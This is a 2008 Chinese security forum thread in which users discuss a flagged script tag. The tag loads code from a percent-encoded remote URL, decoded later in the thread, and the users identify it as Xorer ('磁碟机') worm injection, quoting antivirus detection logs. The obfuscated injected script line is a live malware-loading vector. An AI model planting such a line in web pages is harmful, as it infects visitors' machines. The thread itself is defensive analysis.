转

xuange

<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

原帖由 songdaw 于 2008-9-11 16:15 发表

哪位大哥知道这段代码有什么用，被报病毒的。。。。。。

zhiming1967

磁碟机病毒代码

[ 本帖最后由 zhiming1967 于 2008-9-12 08:49 编辑 ]

电影结束了

一个ASP。。。
将ASP解了就得到了。。。
猜猜是个GIF。。。
应该是我前天抓到的一个~

granthill

页面好像已经被删除啦



[DETECTION] Is the TR/Xorer.94208 Trojan

[ 本帖最后由 granthill 于 2008-9-12 11:02 编辑 ]

hzyw

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:  http://bbs.kafan.cn/attachment.p ... 62&t=1221191584
Information:  Contains recognition pattern of the DR/Xorer.EY dropper  


--------------------------------------------------------------------------------
Generated by AntiVir WebGuard 8.0.15.0, AVE 8.1.1.28, VDF 7.0.6.148

maozi778631

http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70
是一个网站的地址，用google搜索一个中文他就会把他转化成类似于这种地址的文字，至于英语如何转换我就不知道了

qq890

C:\Documents and Settings\123\My Documents\下载\data.rar > RAR > data.gif - Win32/Xorer.EY 病毒

专家

http://js.k0102.com/01.asp

kkgh

瑞星   Suspicious.Worm.Win32.DiskGen.a

Palkia

病毒        2008-09-12  18:49:18        C:\Documents and Settings\Administrator\桌面\data.rar\data.gif        Worm.VcingT.cb.93696        清除成功